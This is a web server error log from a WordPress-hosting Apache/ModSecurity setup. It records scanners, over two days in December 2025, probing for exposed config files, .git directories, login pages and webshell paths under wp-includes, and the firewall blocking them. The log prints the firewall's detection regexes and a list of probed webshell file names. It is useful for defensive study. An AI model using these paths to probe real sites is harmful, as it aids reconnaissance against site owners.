[Mon Dec 22 20:43:34.291243 2025] [:error] [pid 33472:tid 33502] [client 103.65.236.153:55003] [client 103.65.236.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aUk89p5p2WQpPIK8HAkyMAAAAYE"]
[Mon Dec 22 21:12:10.712579 2025] [:error] [pid 56080:tid 56131] [client 103.77.106.118:51122] [client 103.77.106.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aUlDqpIHT3YJq9hjDc7uGwAAAwc"]
[Mon Dec 22 21:58:02.089174 2025] [:error] [pid 56155:tid 56236] [client 45.131.194.208:47403] [client 45.131.194.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.208, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aUlOamG8a3wQucsuN64CRQAAA44"]
[Mon Dec 22 21:58:02.099488 2025] [proxy_fcgi:error] [pid 56155:tid 56236] [client 45.131.194.208:47403] AH01071: Got error 'Primary script unknown'
[Mon Dec 22 22:06:43.295222 2025] [:error] [pid 33440:tid 33444] [client 216.73.160.5:57989] [client 216.73.160.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUlQc5OsUWKqgxu6QTRGOQAAAQI"]
[Mon Dec 22 22:06:44.164529 2025] [:error] [pid 56155:tid 56228] [client 45.8.19.104:43671] [client 45.8.19.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aUlQdGG8a3wQucsuN64DoQAAA4Y"]
[Mon Dec 22 22:06:45.035205 2025] [:error] [pid 58172:tid 58185] [client 216.73.160.171:46135] [client 216.73.160.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "aUlQdeSVKDT5jWOcnSUMBQAAAMs"]
[Tue Dec 23 02:48:52.663622 2025] [:error] [pid 40361:tid 40386] [client 195.24.236.147:56244] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUmSlOxiDEK95vL2EDr4wwAAAFc"]
[Tue Dec 23 02:48:53.324496 2025] [:error] [pid 40268:tid 40302] [client 195.24.236.147:56370] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUmSlZWtCyS5tdJAiFx1hQAAAMA"]
[Tue Dec 23 02:48:53.985134 2025] [:error] [pid 12110:tid 12132] [client 195.24.236.147:56519] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUmSlQYatzD_WebWpOrrKwAAAJQ"]
[Tue Dec 23 02:48:54.655684 2025] [:error] [pid 40267:tid 40297] [client 195.24.236.147:56644] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUmSluTPWWVt2GkrftCNGQAAABg"]
[Tue Dec 23 02:48:55.320025 2025] [:error] [pid 12110:tid 12131] [client 195.24.236.147:56790] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUmSlwYatzD_WebWpOrrTQAAAJM"]
[Tue Dec 23 12:36:23.600527 2025] [:error] [pid 11812:tid 11820] [client 139.64.164.4:55626] [client 139.64.164.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/config.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app_dev.php/_profiler/open"] [unique_id "aUocR7BkIQ4nTXm4A3WLJwAAAIY"]
[Tue Dec 23 20:00:26.975918 2025] [:error] [pid 3406:tid 3484] [client 185.136.148.167:39171] [client 185.136.148.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.136.148.167, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUqEWvn8DLWxW7TPzpHfXQAAAFQ"]
[Tue Dec 23 20:00:26.987603 2025] [proxy_fcgi:error] [pid 3406:tid 3484] [client 185.136.148.167:39171] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 07:50:18.769124 2025] [:error] [pid 16466:tid 16490] [client 159.203.73.141:33374] [client 159.203.73.141] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aUsquru0JcuKJMjJn6yGAgAAABQ"]
[Wed Dec 24 10:49:46.662633 2025] [proxy_fcgi:error] [pid 54139:tid 54145] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:46.980629 2025] [proxy_fcgi:error] [pid 54139:tid 54150] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:47.257629 2025] [proxy_fcgi:error] [pid 54139:tid 54149] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:47.534665 2025] [proxy_fcgi:error] [pid 54139:tid 54144] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:47.773602 2025] [proxy_fcgi:error] [pid 54139:tid 54145] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:48.053602 2025] [proxy_fcgi:error] [pid 54139:tid 54153] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:48.321730 2025] [proxy_fcgi:error] [pid 54139:tid 54141] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:48.601228 2025] [proxy_fcgi:error] [pid 54139:tid 54148] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:48.863654 2025] [proxy_fcgi:error] [pid 54139:tid 54145] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:49.113611 2025] [proxy_fcgi:error] [pid 54139:tid 54146] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:49.613613 2025] [proxy_fcgi:error] [pid 54139:tid 54164] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:49.857635 2025] [proxy_fcgi:error] [pid 54139:tid 54159] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:50.149709 2025] [proxy_fcgi:error] [pid 54139:tid 54152] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:50.422606 2025] [proxy_fcgi:error] [pid 54139:tid 54146] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:50.710617 2025] [proxy_fcgi:error] [pid 54139:tid 54162] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:51.000687 2025] [proxy_fcgi:error] [pid 54139:tid 54142] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:51.306616 2025] [proxy_fcgi:error] [pid 54139:tid 54157] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:51.594628 2025] [proxy_fcgi:error] [pid 54139:tid 54162] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:51.828201 2025] [proxy_fcgi:error] [pid 54139:tid 54155] [client 63.135.161.66:55415] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:55.347377 2025] [:error] [pid 54139:tid 54159] [client 63.135.161.66:55415] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUtU08rYCZenIDzgXuL-NAAAARI"]
[Wed Dec 24 10:49:56.288252 2025] [:error] [pid 16467:tid 16513] [client 104.234.53.217:58057] [client 104.234.53.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/kill.php"] [unique_id "aUtU1I0TJMcBxX5slgrc8AAAAFA"]
[Wed Dec 24 10:49:56.946492 2025] [:error] [pid 54139:tid 54153] [client 104.234.53.224:48427] [client 104.234.53.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUtU1MrYCZenIDzgXuL-SgAAAQw"]
[Wed Dec 24 10:49:58.160143 2025] [proxy_fcgi:error] [pid 16466:tid 16483] [client 63.135.161.45:41893] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:49:59.059291 2025] [:error] [pid 16466:tid 16470] [client 63.135.161.45:41893] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUtU17u0JcuKJMjJn6zA4QAAAAA"]
[Wed Dec 24 10:49:59.779059 2025] [proxy_fcgi:error] [pid 54139:tid 54158] [client 63.135.161.69:64859] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:00.023610 2025] [proxy_fcgi:error] [pid 54139:tid 54159] [client 63.135.161.69:64859] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:00.316755 2025] [:error] [pid 54139:tid 54164] [client 63.135.161.69:64859] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUtU2MrYCZenIDzgXuL-jgAAARc"]
[Wed Dec 24 10:50:01.238635 2025] [proxy_fcgi:error] [pid 29371:tid 29384] [client 63.135.161.49:63151] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:02.603403 2025] [:error] [pid 29371:tid 29386] [client 63.135.161.49:63151] [client 63.135.161.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUtU2ns-DlKLysSq5L8QzgAAAc0"]
[Wed Dec 24 10:50:03.265085 2025] [:error] [pid 29371:tid 29386] [client 104.234.53.217:20133] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUtU23s-DlKLysSq5L8Q2gAAAc0"]
[Wed Dec 24 10:50:03.692955 2025] [:error] [pid 54139:tid 54162] [client 63.135.161.55:45151] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUtU28rYCZenIDzgXuL-uQAAARU"]
[Wed Dec 24 10:50:04.141644 2025] [:error] [pid 16550:tid 16552] [client 63.135.161.59:31029] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUtU3KYYcdD-LuO7vrBl1wAAAMA"]
[Wed Dec 24 10:50:04.592536 2025] [:error] [pid 16468:tid 16540] [client 63.135.161.64:45009] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUtU3IdyfuSTFLkCbP8iywAAAJA"]
[Wed Dec 24 10:50:06.025630 2025] [:error] [pid 54139:tid 54162] [client 104.234.53.217:55343] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUtU3srYCZenIDzgXuL-xgAAARU"]
[Wed Dec 24 10:50:07.706294 2025] [:error] [pid 16550:tid 16567] [client 63.135.161.66:63611] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUtU36YYcdD-LuO7vrBmNAAAAM8"]
[Wed Dec 24 10:50:08.158224 2025] [proxy_fcgi:error] [pid 16550:tid 16559] [client 104.234.53.217:48963] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:09.049267 2025] [:error] [pid 16550:tid 16567] [client 104.234.53.217:48963] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aUtU4KYYcdD-LuO7vrBmXAAAAM8"]
[Wed Dec 24 10:50:09.494903 2025] [proxy_fcgi:error] [pid 29371:tid 29376] [client 63.135.161.48:23375] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:09.780084 2025] [proxy_fcgi:error] [pid 29371:tid 29393] [client 63.135.161.48:23375] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:09.786067 2025] [:error] [pid 29371:tid 29393] [client 63.135.161.48:23375] [client 63.135.161.48] ModSecurity: collection_store: Failed to access DBM file "/tmp/ip": Resource deadlock avoided [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/admin.php"] [unique_id "aUtU4Xs-DlKLysSq5L8RSwAAAdQ"]
[Wed Dec 24 10:50:10.056903 2025] [:error] [pid 29371:tid 29377] [client 63.135.161.48:23375] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUtU4ns-DlKLysSq5L8RUAAAAcQ"]
[Wed Dec 24 10:50:10.848183 2025] [:error] [pid 16468:tid 16535] [client 104.234.53.225:30437] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUtU4odyfuSTFLkCbP8jCwAAAIs"]
[Wed Dec 24 10:50:11.295727 2025] [proxy_fcgi:error] [pid 16550:tid 16574] [client 63.135.161.71:31377] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:11.573718 2025] [:error] [pid 16550:tid 16575] [client 63.135.161.71:31377] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUtU46YYcdD-LuO7vrBmswAAANc"]
[Wed Dec 24 10:50:12.151624 2025] [proxy_fcgi:error] [pid 28777:tid 28797] [client 63.135.161.51:35973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:12.894621 2025] [proxy_fcgi:error] [pid 28777:tid 28781] [client 63.135.161.51:35973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:13.771009 2025] [:error] [pid 28777:tid 28785] [client 63.135.161.51:35973] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUtU5ZBVBcZ34cSqz8rCBgAAAYY"]
[Wed Dec 24 10:50:14.286640 2025] [proxy_fcgi:error] [pid 28405:tid 28420] [client 63.135.161.60:56497] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:14.552085 2025] [:error] [pid 28405:tid 28423] [client 63.135.161.60:56497] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUtU5sKkTWlhmfdXFqbo8gAAAU0"]
[Wed Dec 24 10:50:14.997650 2025] [proxy_fcgi:error] [pid 16550:tid 16558] [client 63.135.161.67:48599] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:15.498265 2025] [:error] [pid 16550:tid 16560] [client 63.135.161.67:48599] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUtU56YYcdD-LuO7vrBnNgAAAMg"]
[Wed Dec 24 10:50:16.391833 2025] [:error] [pid 29371:tid 29392] [client 63.135.161.67:36313] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUtU6Hs-DlKLysSq5L8RyQAAAdM"]
[Wed Dec 24 10:50:17.133634 2025] [proxy_fcgi:error] [pid 16550:tid 16572] [client 104.234.53.208:35607] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:17.411750 2025] [proxy_fcgi:error] [pid 16550:tid 16575] [client 104.234.53.208:35607] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:17.859313 2025] [:error] [pid 16550:tid 16563] [client 104.234.53.208:35607] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUtU6aYYcdD-LuO7vrBncAAAAMs"]
[Wed Dec 24 10:50:18.513674 2025] [:error] [pid 29371:tid 29382] [client 104.234.53.213:35917] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUtU6ns-DlKLysSq5L8R9wAAAck"]
[Wed Dec 24 10:50:19.292243 2025] [:error] [pid 16466:tid 16494] [client 63.135.161.63:35081] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUtU67u0JcuKJMjJn6zCBQAAABg"]
[Wed Dec 24 10:50:19.797923 2025] [:error] [pid 16550:tid 16564] [client 104.234.53.225:39665] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUtU66YYcdD-LuO7vrBnmgAAAMw"]
[Wed Dec 24 10:50:20.249713 2025] [:error] [pid 16550:tid 16563] [client 63.135.161.63:39787] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUtU7KYYcdD-LuO7vrBnpwAAAMs"]
[Wed Dec 24 10:50:21.303368 2025] [proxy_fcgi:error] [pid 54139:tid 54152] [client 63.135.161.64:32087] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:50:21.568288 2025] [:error] [pid 54139:tid 54148] [client 63.135.161.64:32087] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUtU7crYCZenIDzgXuIABQAAAQc"]
[Wed Dec 24 10:50:22.001307 2025] [:error] [pid 16468:tid 16539] [client 104.234.53.208:49871] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUtU7odyfuSTFLkCbP8jvAAAAI8"]
